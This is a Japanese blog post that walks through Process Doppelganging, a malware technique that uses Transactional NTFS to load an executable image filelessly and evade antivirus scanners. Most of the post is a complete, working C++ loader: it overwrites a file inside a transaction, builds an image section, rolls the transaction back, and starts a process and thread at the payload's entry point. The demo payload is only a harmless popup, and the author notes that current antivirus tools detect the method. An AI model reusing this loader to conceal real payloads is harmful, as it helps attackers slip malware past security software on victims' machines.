Transactional NTFS利用によるProcess Doppelgangingをやってみる
Transactional NTFS利用による Process Doppelgangingをやってみる
マルウェアなどがAVスキャナーからの検知を逃れるために使う手法の1分野にProcess Injctionがある. 本記事では以下のリポジトリを参考に,Process Injction手法の1つであるTransactional NTFS利用によるProcess Doppelgangingをやってみる.
本手法の概要
Process injection手法の1つにProcess Hollowingがある. これは正規のプロセスのイメージをアンマップし,悪意あるコードを注入,実行するというものだ. Process Doppelgangingはこれと似たような動作をする.
まず正規のファイルをNTFSトランザクションを介してオープンし中身をペイロードで置き換える.このファイルをメモリにロード後,明示的にRollbackを行う.Rollback後はディスク上には正規ファイルが,メモリ上にはペイロードファイルがそれぞれ残ることになり,結果としてファイルレスなペイロードのロードと実行が行える.
以降ではWin32APIを使ったNTFSトランザクションについての基本的な部分を解説した後,Process Doppelgangingの実装について解説する.
NTFSトランザクション
Windowsはいくつかのトランザクション処理用APIを提供している.
これによりファイル操作をACID特性を伴って実行できる.
トランザクション系APIはファイル操作系APIにTransactedというサフィックスがつくのが特徴だ.
主な処理の流れは以下のようになる.
- CreateTransactionでトランザクションハンドルを取得し、トランザクション開始
- トランザクションハンドルを使用して、各種ファイル操作を行う
- CommitTransactionでトランザクションをコミット
- CloseTransactionでトランザクション終了
トランザクションのロールバック
途中の失敗などでコミットすることなくトランザクションを終了した場合,一連の処理はロールバックされる.
トランザクション中のファイルの変更はACID特性故に他プロセスから見えないため,ディスク上にドロップされたペイロードファイルを検知するのは困難だ.
ただし後述するように,トランザクション系APIが利用されることは非常にまれなため,現在のAVスキャナーは容易に本手法を検知する.
Process Doppelgangingの実装
大まかに以下のような処理を行う.
- CreateTransactionでトランザクションを開始.
- トランザクション内でターゲットファイルをペイロードファイルで上書き.
- 上書きされたターゲットファイルから新規セクションを作成.
- ターゲットファイルをロールバック.(ターゲットファイルは元の正規ファイルに戻るが,メモリ上にはペイロードファイルが残る)
- プロセス作成に必要な諸々を設定し新規スレッドを作成してメモリ上にロードされたペイロードファイルを実行.
なお今回はあらかじめディスク上に用意したファイルをペイロードとして使用した.
以下がそのコードになる.
#include<stdio.h> #include<stdlib.h> #include<iostream> #include<Windows.h> #include "ntos.h" #pragma comment(lib, "Ntdll.lib") int main() { // init ntdll.dll func HINSTANCE hinstStub = GetModuleHandle(L"ntdll.dll"); NtCreateTransaction = (LPNTCREATETRANSACTION)GetProcAddress(hinstStub, "NtCreateTransaction"); NtAllocateVirtualMemory = (LPNTALLOCATEVIRTUALMEMORY)GetProcAddress(hinstStub, "NtAllocateVirtualMemory"); NtCreateSection = (LPNTCREATESECTION)GetProcAddress(hinstStub, "NtCreateSection"); NtRollbackTransaction = (LPNTROLLBACKTRANSACTION)GetProcAddress(hinstStub, "NtRollbackTransaction"); NtClose = (LPNTCLOSE)GetProcAddress(hinstStub, "NtClose"); NtCreateProcessEx = (LPNTCREATEPROCESSEX)GetProcAddress(hinstStub, "NtCreateProcessEx"); NtQueryInformationProcess = (LPNTQUERYINFORMATIONPROCESS)GetProcAddress(hinstStub, "NtQueryInformationProcess"); NtReadVirtualMemory = (LPNTREADVIRTUALMEMORY)GetProcAddress(hinstStub, "NtReadVirtualMemory"); NtWriteVirtualMemory = (LPNTWRITEVIRTUALMEMORY)GetProcAddress(hinstStub, "NtWriteVirtualMemory"); NtCreateThreadEx = (LPNTCREATETHREADEX)GetProcAddress(hinstStub, "NtCreateThreadEx"); NtFreeVirtualMemory = (LPNTFREEVIRTUALMEMORY)GetProcAddress(hinstStub, "NtFreeVirtualMemory"); RtlCreateProcessParametersEx = (LPRTLCREATEPROCESSPARAMETERSEX)GetProcAddress(hinstStub, "RtlCreateProcessParametersEx"); RtlDestroyProcessParameters = (LPRTLDESTROYPROCESSPARAMETERS)GetProcAddress(hinstStub, "RtlDestroyProcessParameters"); RtlImageNtHeader = (LPRTLIMAGENTHEADER)GetProcAddress(hinstStub, "RtlImageNtHeader"); RtlInitUnicodeString = (LPRTLINITUNICODESTRING)GetProcAddress(hinstStub, "RtlInitUnicodeString"); // test LPCWSTR lpTargetApp = L".\\test.txt"; LPCWSTR lpPayloadApp = L".\\popup_HelloWorld.exe"; HANDLE hTransaction = NULL, hTransactedFile = INVALID_HANDLE_VALUE, hFile = INVALID_HANDLE_VALUE; HANDLE hSection = NULL, hProcess = NULL, hThread = NULL; LARGE_INTEGER fsz; ULONG ReturnLength = 0; ULONG_PTR EntryPoint = 0, ImageBase = 0; PVOID Buffer = NULL, MemoryPtr = NULL; SIZE_T sz = 0; PEB* Peb; PROCESS_BASIC_INFORMATION pbi; PRTL_USER_PROCESS_PARAMETERS ProcessParameters = NULL; OBJECT_ATTRIBUTES obja; UNICODE_STRING ustr; BYTE temp[0x1000]; RtlSecureZeroMemory(&temp, sizeof(temp)); // NTFSトランザクションオブジェクトを作成 InitializeObjectAttributes(&obja, NULL, 0, NULL, NULL); NtCreateTransaction(&hTransaction, TRANSACTION_ALL_ACCESS, &obja, NULL, NULL, 0, 0, 0, NULL, NULL); // ターゲットファイルをオープン hTransactedFile = CreateFileTransacted(lpTargetApp, GENERIC_WRITE | GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL, hTransaction, NULL, NULL); // ペイロードファイルの読み込み hFile = CreateFile(lpPayloadApp, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); GetFileSizeEx(hFile, &fsz); Buffer = NULL; sz = (SIZE_T)fsz.LowPart; NtAllocateVirtualMemory(NtCurrentProcess(), &Buffer, 0, &sz, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); ReadFile(hFile, Buffer, fsz.LowPart, &ReturnLength, NULL); CloseHandle(hFile); hFile = INVALID_HANDLE_VALUE; // ターゲットファイルにペイロードファイルを書き込み WriteFile(hTransactedFile, Buffer, fsz.LowPart, &ReturnLength, NULL); // ターゲットファイルをSEC_IMAGEで新規セクションとしてメモリ上に作成 NtCreateSection(&hSection, SECTION_ALL_ACCESS, NULL, 0, PAGE_READONLY, SEC_IMAGE, hTransactedFile); // トランザクションをロールバック NtRollbackTransaction(hTransaction, TRUE); NtClose(hTransaction); hTransaction = NULL; CloseHandle(hTransactedFile); hTransactedFile = INVALID_HANDLE_VALUE; // 作成したセクションからプロセスを新規作成 hProcess = NULL; NtCreateProcessEx(&hProcess, PROCESS_ALL_ACCESS, NULL, NtCurrentProcess(), PS_INHERIT_HANDLES, hSection, NULL, NULL, FALSE); // PEBからプロセス情報を取得 NtQueryInformationProcess(hProcess, ProcessBasicInformation, &pbi, sizeof(PROCESS_BASIC_INFORMATION), &ReturnLength); // ImageBaseAddressを取得 NtReadVirtualMemory(hProcess, pbi.PebBaseAddress, &temp, 0x1000, &sz); std::cout << "PebBaseAddress: " << (std::hex) << (ULONGLONG)temp << std::endl; // EntryPointを計算 EntryPoint = (RtlImageNtHeader(Buffer))->OptionalHeader.AddressOfEntryPoint; EntryPoint += (ULONG_PTR)((PPEB)temp)->ImageBaseAddress; std::cout << "ImageBase: " << (std::hex) << (ULONG_PTR)((PPEB)temp)->ImageBaseAddress << std::endl; std::cout << "EntryPoint: " << (std::hex) << EntryPoint << std::endl; // プロセスパラメータの調整 RtlInitUnicodeString(&ustr, lpTargetApp); RtlCreateProcessParametersEx(&ProcessParameters, &ustr, NULL, NULL, &ustr, NULL, NULL, NULL, NULL, NULL, RTL_USER_PROC_PARAMS_NORMALIZED); // PEBにプロセスをリンク sz = ProcessParameters->EnvironmentSize + ProcessParameters->MaximumLength; MemoryPtr = ProcessParameters; NtAllocateVirtualMemory(hProcess, &MemoryPtr, 0, &sz, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); // プロセスパラメータの書き込み sz = 0; NtWriteVirtualMemory(hProcess, ProcessParameters, ProcessParameters, ProcessParameters->EnvironmentSize + ProcessParameters->MaximumLength, &sz); Peb = (PEB*)pbi.PebBaseAddress; NtWriteVirtualMemory(hProcess, &Peb->ProcessParameters, &ProcessParameters, sizeof(PVOID), &sz); // EntryPointを開始アドレスに設定して新規スレッドを作成 hThread = NULL; NtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL, hProcess, (LPTHREAD_START_ROUTINE)EntryPoint, NULL, FALSE, 0, 0, 0, NULL); if (hTransaction) NtClose(hTransaction); if (hSection) NtClose(hSection); if (hProcess) NtClose(hProcess); if (hThread) NtClose(hThread); if (hTransactedFile != INVALID_HANDLE_VALUE) CloseHandle(hTransactedFile); if (hFile != INVALID_HANDLE_VALUE) CloseHandle(hFile); if (Buffer != NULL) { sz = 0; NtFreeVirtualMemory(NtCurrentProcess(), &Buffer, &sz, MEM_RELEASE); } if (ProcessParameters) { RtlDestroyProcessParameters(ProcessParameters); } }
demo
以下は非実行可能形式ファイルをターゲットとした実験.
ファイルパス等を自前で設定できるため,テキストファイルからPEファイルがオープンしているように見える. メモリ空間をのぞいてみると確かにプログラムが示す位置にMZの2バイトが確認できる.
— ry0kvn (@ry0kvn) 2020年2月18日
ただしこれはWindows Defenderをオフにした状態での実験であり,通常は以下のように即座に検知される.
まとめ
本手法は2017年公開当初こそ有用であったが,トランザクション系APIが利用されることは非常にまれなため,現在のAVスキャナーは容易に本手法を検知する.
また悪意あるファイルの最終的な実行の際に,CreateRemoteThreadと同等のNtCreateThreadExを使用している。
AVスキャナーは、リモートスレッドの作成をPsSetCreateThreadNotifyRoutine等を介して監視するため、Doppelgängingを検出可能だ.
本手法は、ファイル署名を避け、ディスクに書き込みをせずに実行可能ファイルをロードできるが,そもそもの目指すところである検知回避という点でもはやアドバンテージはない.
参考
Process Doppelgänging – a new way to impersonate a process | hasherezade's 1001 nights